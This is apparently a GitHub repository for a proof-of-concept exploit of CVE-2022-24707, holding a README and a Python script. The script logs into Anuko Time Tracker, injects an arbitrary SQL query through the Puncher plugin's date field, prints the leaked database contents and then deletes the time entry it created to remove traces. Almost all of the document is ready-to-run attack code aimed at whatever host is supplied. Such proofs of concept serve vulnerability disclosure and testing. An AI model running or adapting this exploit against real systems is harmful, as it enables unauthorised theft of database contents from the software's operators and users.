├── CVE-2022-24707.gif ├── README.md └── exploit.py /CVE-2022-24707.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Altelus1/CVE-2022-24707/HEAD/CVE-2022-24707.gif -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PoC for CVE-2022-24707 2 | 3 | SQL Injection Vulnerability on Puncher plugin. A POST request can be crafted to exploit SQL Injection and leak database contents. This is tested on [Anuko Time Tracker 1.20.0.5640](https://github.com/anuko/timetracker/tree/0924ef499c2b0833a20c2d180b04fa70c6484b6d). 4 | 5 | ``` 6 | python3 exploit.py --help 7 | usage: exploit.py [-h] --username USERNAME --password PASSWORD --host HOST [--sqli SQLI] 8 | 9 | optional arguments: 10 | -h, --help show this help message and exit 11 | --username USERNAME Anuko Timetracker username 12 | --password PASSWORD Anuko Timetracker password 13 | --host HOST e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000 14 | --sqli SQLI SQL query to run. Defaults to getting all tables 15 | ``` 16 | 17 | ![cve gif](./CVE-2022-24707.gif) 18 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | from time import time 2 | import requests 3 | import argparse 4 | import re 5 | from bs4 import BeautifulSoup 6 | from datetime import datetime, timedelta 7 | 8 | 9 | 10 | 11 | def get_puncher_page(): 12 | 13 | punch_txt = r_client.get(host + "/puncher.php").text 14 | 15 | if "Feature is disabled" in punch_txt: 16 | print("[-] Puncher feature is disabled.") 17 | exit(0) 18 | 19 | print("[+] Puncher feature is enabled. Picking a project...") 20 | 21 | soup = BeautifulSoup(punch_txt, features="lxml") 22 | time_record_form = soup.find("select", {"name" : "project", "id" : "project"}) 23 | 24 | project_list = time_record_form.findAll("option") 25 | 26 | if len(project_list) <= 1: 27 | print("[-] No project to choose from") 28 | exit(0) 29 | 30 | f_proj = project_list[1] 31 | 32 | print("[*] Picking the first project in the option: [{} - {}]".format(f_proj['value'], f_proj.text)) 33 | 34 | return f_proj['value'] 35 | 36 | 37 | def login(username, password): 38 | 39 | global r_client 40 | 41 | data = { 42 | "login" : username, 43 | "password" : password, 44 | "btn_login" : "Login", 45 | } 46 | 47 | 48 | login_txt = r_client.post(host + "/login.php", data=data).text 49 | if "Incorrect" in login_txt: 50 | print("[-] Failed to login. Credentials are not correct.") 51 | exit(0) 52 | 53 | print("[+] Login successful!") 54 | 55 | 56 | def start_puncher(project_id): 57 | 58 | global r_client 59 | 60 | data = { 61 | "project": project_id, 62 | "btn_start": "Start", 63 | "browser_today" : "", 64 | "browser_time" : "04:00", 65 | "date": "{}-{}-{}".format(date.year, date.month, date.day) 66 | } 67 | 68 | 69 | headers = { 70 | "Referer" : host + "/puncher.php" 71 | } 72 | 73 | start_p = r_client.post(host + "/puncher.php", data=data, headers=headers).text 74 | 75 | if "Uncompleted entry already" in start_p: 76 | print("[-] A running puncher entry is seen. Exiting") 77 | exit(0) 78 | 79 | print("[*] Puncher started. Getting id added...") 80 | 81 | puncher_p = r_client.get(host + "/puncher.php?date={}-{}-{}".format(date.year, date.month, date.day)).text 82 | 83 | time_edit_ids = re.findall("time_edit.php\?id=\d+",puncher_p) 84 | time_edit_ids.sort() 85 | 86 | latest_id = time_edit_ids[-1].split("=")[1] 87 | 88 | return latest_id 89 | 90 | 91 | def stop_puncher_sqli(project_id, sqli=""): 92 | 93 | get_all_tables = "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()" 94 | 95 | if sqli == "": 96 | sqli = get_all_tables 97 | 98 | new_date = date+timedelta(minutes=10) 99 | 100 | data = { 101 | "btn_stop": "Stop", 102 | "browser_today" : "", 103 | "browser_time" : "04:10", 104 | "date": "{}-{}-{}', comment=(({})), date='{}-{}-{}".format(date.year, date.month, date.day, sqli, date.year, date.month, date.day) 105 | } 106 | 107 | headers = { 108 | "Referer" : host + "/puncher.php" 109 | } 110 | 111 | stop_p = r_client.post(host + "/puncher.php", data=data, headers=headers,allow_redirects=False).text 112 | 113 | print("[*] Puncher stopped") 114 | 115 | def get_puncher_result(puncher_id): 116 | 117 | time_edit_p = r_client.get(host + "/time_edit.php?id={}".format(puncher_id)).text 118 | 119 | soup = BeautifulSoup(time_edit_p, features="lxml") 120 | note_content = soup.find("textarea", {"name" : "note", "id" : "note"}) 121 | 122 | print("[+] Leaked: {}".format(note_content.text)) 123 | 124 | 125 | def delete_puncher_entry(puncher_id): 126 | 127 | data = { 128 | "delete_button" : "Delete", 129 | "id" : puncher_id 130 | } 131 | 132 | headers = { 133 | "Referer" : "http://10.0.2.15/time_delete.php?id={}".format(puncher_id) 134 | } 135 | 136 | del_p = r_client.post(host + "/time_delete.php?id={}".format(puncher_id), data=data, headers=headers) 137 | 138 | print("[*] Puncher {} deleted".format(puncher_id)) 139 | 140 | 141 | parser = argparse.ArgumentParser() 142 | 143 | parser.add_argument('--username', required=True, help="Anuko Timetracker username") 144 | parser.add_argument('--password', required=True, help="Anuko Timetracker password") 145 | parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000") 146 | parser.add_argument('--sqli', required=False, help="SQL query to run. Defaults to getting all tables") 147 | args = parser.parse_args() 148 | 149 | r_client = requests.Session() 150 | host = args.host 151 | date = datetime.now() 152 | 153 | username = args.username 154 | password = args.password 155 | 156 | login(username, password) 157 | proj_id = get_puncher_page() 158 | puncher_id = start_puncher(proj_id) 159 | 160 | sqli="" 161 | 162 | if args.sqli != None: 163 | sqli = args.sqli 164 | 165 | stop_puncher_sqli(proj_id, sqli=sqli) 166 | get_puncher_result(puncher_id) 167 | delete_puncher_entry(puncher_id) --------------------------------------------------------------------------------